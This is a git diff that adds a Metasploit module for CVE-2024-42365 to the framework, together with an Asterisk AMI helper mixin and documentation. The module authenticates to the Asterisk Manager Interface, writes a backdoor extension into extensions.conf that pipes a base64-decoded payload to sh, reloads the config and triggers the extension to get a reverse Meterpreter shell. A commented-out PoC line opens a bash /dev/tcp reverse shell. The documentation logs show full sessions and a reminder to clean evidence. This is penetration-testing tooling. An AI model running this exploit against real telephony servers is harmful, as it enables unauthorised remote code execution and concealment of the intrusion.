diff --git a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md new file mode 100644 index 000000000000..5607a45a3d56 --- /dev/null +++ b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md @@ -0,0 +1,171 @@ +## Vulnerable Application + +On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk +versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change +all configuration files in the '/etc/asterisk/' directory. Writing a new extension +can be created which performs a system command to achieve RCE as the asterisk service +user (typically asterisk). + +Default parking lot in FreePBX is called "Default lot" on the website interface, +however its actually 'parkedcalls'. + +Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1. + +### Install + +One easy method, while outdated, is using the FreePBX ISO. + +1. Boot to ISO and install the system. Choose Asterisk 19 +2. Visit the web interface on port 80 +3. Complete initial setup, make sure to not do updates. +4. login +5. Click FreePBX Administration +6. Click the hamburger > Applications > Parking +7. Check the parking extension and name (`70` and `Default lot` are the defaults) +8. Login (ssh/local) and edit `/etc/asterisk/manager.conf` + 1. Under `[general]`: + 1. Change `bindaddr` value to `0.0.0.0` + 2. If you'd like to test the version checking, grab admin's secret, and set `permit=0.0.0.0/0.0.0.0` + 3. Add the following at the bottom of the file: + ``` +[testuser] +secret=testuser +write=originate +permit=0.0.0.0/255.255.255.0 + ``` +9. reboot box (after boot, it may take SEVERAL minutes for asterisk to come up) + +Default parking lot is called "Default lot" in the website interface, however its actually `parkedcalls` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/linux/misc/asterisk_ami_originate_auth_rce` +1. Do: `set rhosts ` +1. Do: `set lhost ` +1. Do: `set username ` +1. Do: `set password ` +1. You should get a shell. + +## Options + +### CONF + +The extensions configuration file location. Defaults to `/etc/asterisk/extensions.conf` + +### PARKINGLOT + +The extensions and name of the parking lot. Defaults to `70@parkedcalls` + +### EXTENSION + +The extension number to backdoor. Defaults to a random number between 3-5 digits. + +## Scenarios + +### FreePBX 12.7.8-2302-1.sng7 (SNG7-PBX16-64bit-2302-1) with Asterisk 19 + +``` +resource (ami.rb)> use exploit/linux/misc/asterisk_ami_originate_auth_rce +[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp +resource (ami.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (ami.rb)> set lhost 2.2.2.2 +lhost => 2.2.2.2 +resource (ami.rb)> set username testuser +username => testuser +resource (ami.rb)> set password testuser +password => testuser +resource (ami.rb)> set verbose true +verbose => true +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls +parkinglot => 700@parkedcalls +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit + +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable) +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 8.0.2 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[!] 1.1.1.1:5038 - No active DB -- Credential data will not be saved! +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Checking Asterisk version +[!] 1.1.1.1:5038 - The service is running, but could not be validated. Able to connect, unable to determine version +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 8.0.2 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Using new context name: EfVeZSDeGcn +[*] 1.1.1.1:5038 - Loading conf file +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Setting backdoor +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Reloading config +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Triggering shellcode +[*] Sending stage (24772 bytes) to 1.1.1.1 +[+] 1.1.1.1:5038 - !!!Don't forget to clean evidence from /etc/asterisk/extensions.conf!!! +[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:43812) at 2024-11-04 09:09:57 -0500 + +meterpreter > shell +Process 5831 created. +Channel 1 created. +asterisk -rx "core show version" +Asterisk 19.8.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 07:07:49 UTC +cat /etc/schmooze/pbx-version +12.7.8-2302-1.sng7 +``` + +### FreePBX 12.7.8-2302-1.sng7 (SNG7-PBX16-64bit-2302-1) with Asterisk 18 + +``` +resource (ami.rb)> use exploit/linux/misc/asterisk_ami_originate_auth_rce +[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp +resource (ami.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (ami.rb)> set lhost 2.2.2.2 +lhost => 2.2.2.2 +resource (ami.rb)> set username testuser +username => testuser +resource (ami.rb)> set password testuser +password => testuser +resource (ami.rb)> set verbose true +verbose => true +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls +parkinglot => 700@parkedcalls +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit + +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable) +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 7.0.3 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[!] 1.1.1.1:5038 - No active DB -- Credential data will not be saved! +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Checking Asterisk version +[!] 1.1.1.1:5038 - The service is running, but could not be validated. Able to connect, unable to determine version +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 7.0.3 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Using new context name: fSvWOLdAx +[*] 1.1.1.1:5038 - Loading conf file +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Setting backdoor +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Reloading config +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Triggering shellcode +[*] Sending stage (24772 bytes) to 1.1.1.1 +[+] 1.1.1.1:5038 - !!!Don't forget to clean evidence from /etc/asterisk/extensions.conf!!! +[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:53468) at 2024-11-04 09:37:35 -0500 + +meterpreter > shell +Process 3977 created. +Channel 1 created. +asterisk -rx "core show version" +Asterisk 18.16.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 06:50:30 UTC +cat /etc/schmooze/pbx-version +12.7.8-2302-1.sng7 +``` \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/asterisk.rb b/lib/msf/core/exploit/remote/asterisk.rb new file mode 100644 index 000000000000..367f86bf09e3 --- /dev/null +++ b/lib/msf/core/exploit/remote/asterisk.rb @@ -0,0 +1,126 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::Asterisk + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super + + register_options( + [ + Opt::RPORT(5038), + OptString.new('USERNAME', [true, 'The username for Asterisk Access', '']), + OptString.new('PASSWORD', [true, 'The password for the specified username', '']), + ], self.class + ) + end + + # + # Handler for sending AMI commands + # + # @param cmd [String] command to send + # + # @return [String] response from the server + def send_command(cmd = '') + sock.put cmd + + res = '' + timeout = 15 + Timeout.timeout(timeout) do + res << sock.get_once while res !~ /\r?\n\r?\n/ + end + + res + rescue Timeout::Error + print_error "Timeout (#{timeout} seconds)" + rescue StandardError => e + print_error e.message + end + + # + # Attempt to get the asterisk version number + # + # + # @return [Gem::Version] version response from the server. False on error + def get_asterisk_version + vprint_status 'Checking Asterisk version' + + req = "action: command\r\n" + req << "command: core show version\r\n" + req << "\r\n" + res = send_command req + + return false if res =~ /Response: Error/ + + # example output + # Response: Success + # Message: Command output follows + # Output: Asterisk 19.8.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 07:07:49 UTC + + # https://rubular.com/r/e2LvocVBeKaiVo + if res =~ /^Output: Asterisk (.*?) built/ + return ::Regexp.last_match(1) + end + + false + end + + # + # Handler for logging in to AMI + # + # @param username [String] username of the user + # @param password [String] password of the user + # + # @return [Boolean] true on success, false on failure + def login(username, password) + vprint_status "Authenticating as '#{username}'" + + req = "action: login\r\n" + req << "username: #{username}\r\n" + req << "secret: #{password}\r\n" + req << "events: off\r\n" + req << "\r\n" + res = send_command req + + return false unless res =~ /Response: Success/ + + report_cred user: username, + password: password, + proof: 'Response: Success' + + report_service host: rhost, + port: rport, + proto: 'tcp', + name: 'asterisk' + true + end + + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: 'asterisk_manager', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:username], + private_data: opts[:password], + private_type: :password + }.merge service_data + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge service_data + + create_credential_login login_data + end + end +end diff --git a/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb new file mode 100644 index 000000000000..29f4a13ef37c --- /dev/null +++ b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb @@ -0,0 +1,204 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + include Msf::Exploit::Remote::Asterisk + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Asterisk AMI Originate Authenticated RCE', + 'Description' => %q{ + On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk + versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change + all configuration files in the '/etc/asterisk/' directory. Writing a new extension + can be created which performs a system command to achieve RCE as the asterisk service + user (typically asterisk). + Default parking lot in FreePBX is called "Default lot" on the website interface, + however its actually 'parkedcalls'. + Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1. + }, + 'Author' => [ + 'Brendan Coles ', # lots of AMI command stuff + 'h00die', # msf module + 'NielsGaljaard' # discovery + ], + 'References' => [ + ['URL', 'https://github.com/asterisk/asterisk/security/advisories/GHSA-c4cg-9275-6w44'], + ['CVE', '2024-42365'] + ], + 'Platform' => 'unix', + # leaving this for future travelers. I was still not getting 100% payload compatibility + # so there seems to still be another character or two bad, but b64 fixed it. + # 'Payload' => { + # # ; is a comment in the extensions.conf file + # 'BadChars' => ";\r\n:\"" # https://docs.asterisk.org/Configuration/Interfaces/Asterisk-Manager-Interface-AMI/AMI-v2-Specification/#message-layout + # }, + + # 927 characters (w/o padding) is the max (Error, Message: Failed to parse message: line too long) + # `echo "" | base64 -d | sh` == 19 characters + # chatGPT says 908 b64 encoded characters makes 681 pre-encoding. + 'Payload' => { + 'Space' => 681 + }, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_command + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => '2024-08-08', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES], + 'Reliability' => [ REPEATABLE_SESSION ] + }, + 'DefaultTarget' => 0, + 'License' => MSF_LICENSE + ) + ) + register_options [ + OptString.new('CONF', [true, 'The extensions configuration file location', '/etc/asterisk/extensions.conf']), + OptString.new('PARKINGLOT', [true, 'The extensions and name of the parking lot', '70@parkedcalls']), + OptString.new('EXTENSION', [true, 'The extension number to backdoor', Rex::Text.rand_text_numeric(3..5)]), + ] + register_advanced_options [ + OptInt.new('TIMEOUT', [true, 'Timeout value between AMI commands', 1]), + ] + end + + def conn? + vprint_status 'Connecting...' + + connect + banner = sock.get_once + + unless banner =~ %r{Asterisk Call Manager/([\d.]+)} + print_bad('Asterisk Call Manager does not appear to be running') + return false + end + + print_status "Found Asterisk Call Manager version #{::Regexp.last_match(1)}" + + unless login(datastore['USERNAME'], datastore['PASSWORD']) + print_bad('Authentication failed') + return false + end + + print_good 'Authenticated successfully' + true + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + print_error e.message + false + end + + def check + # why don't we check the version numbers? + # we're connecting to Asterisk Call Manager, which seems to be a sub component + # of asterisk and therefore the version numbers don't line up. For instance + # Asterisk 19.8.0 (provided by freepbx SNG7-PBX16-64bit-2302-1.iso) + # uses Asterisk Call Manager version 8.0.2. + return CheckCode::Unknown('Unable to connect to Asterisk AMI service') unless conn? + + version = get_asterisk_version + disconnect + + return CheckCode::Detected('Able to connect, unable to determine version') if !version + if version.between?(Rex::Version.new('18.16.0'), Rex::Version.new('18.24.2')) || + version.between?(Rex::Version.new('19'), Rex::Version.new('20.9.2')) || + version.between?(Rex::Version.new('21'), Rex::Version.new('21.4.2')) || + version.to_s.include?('cert') && + ( + version.between?(Rex::Version.new('18.0-cert1'), Rex::Version.new('18.9-cert11')) || + version.between?(Rex::Version.new('19.0-cert1'), Rex::Version.new('20.7-cert2')) + ) + return Exploit::CheckCode::Appears("Exploitable version #{version} found") + end + + return Exploit::CheckCode::Safe("Unexploitable version #{version} found") + end + + def exploit + fail_with(Failure::NoAccess, 'Unable to connect or authenticate') unless conn? + + new_context = rand_text_alpha(8..12) + print_status("Using new context name: #{new_context}") + + print_status('Loading conf file') + req = "Action: Originate\r\n" + req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n" + req << "Application: SET\r\n" + req << "Data: FILE(#{datastore['CONF']},,,al)=[#{new_context}]\r\n" + req << "\r\n" + res = send_command req + res = res.strip.gsub("\r\n", ', ') + + if res.include?('Response: Error') + disconnect + fail_with(Failure::UnexpectedReply, "#{res}. This may be due to lack of permissions, a not vulnerable version, or an incorrect PARKINGLOT") + end + vprint_good(" #{res}") + # since commands are queued, sleeping 1 second is needed for the job to + # execute. This is mentioned in the original writeup: "(you might need to take some time between them)." + Rex.sleep(datastore['TIMEOUT']) + + print_status('Setting backdoor') + req = "Action: Originate\r\n" + req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n" + req << "Application: SET\r\n" + # from the PoC + # req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(/bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/4444 0>&1')\r\n" + req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(echo \"#{Base64.strict_encode64(payload.encoded).gsub("\n", '')}\" | base64 -d | sh)\r\n" + req << "\r\n" + res = send_command req + res = res.strip.gsub("\r\n", ', ') + + if res.include?('Response: Error') + disconnect + fail_with(Failure::UnexpectedReply, res) + end + vprint_good(" #{res}") + Rex.sleep(datastore['TIMEOUT']) + + print_status('Reloading config') + req = "Action: Originate\r\n" + req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n" + req << "Application: Reload\r\n" + req << "Data: pbx_config\r\n" + req << "\r\n" + res = send_command req + res = res.strip.gsub("\r\n", ', ') + + if res.include?('Response: Error') + disconnect + fail_with(Failure::UnexpectedReply, res) + end + vprint_good(" #{res}") + Rex.sleep(datastore['TIMEOUT']) + + print_status('Triggering shellcode') + req = "Action: Originate\r\n" + req << "Channel: Local/#{datastore['EXTENSION']}@#{new_context}\r\n" + req << "application: Verbose\r\n" + req << "Data: #{Rex::Text.rand_text_numeric(5..8)}\r\n" + req << "\r\n" + send_command req + + disconnect + end + + def on_new_session(client) + super + print_good("!!!Don't forget to clean evidence from #{datastore['CONF']}!!!") + end +end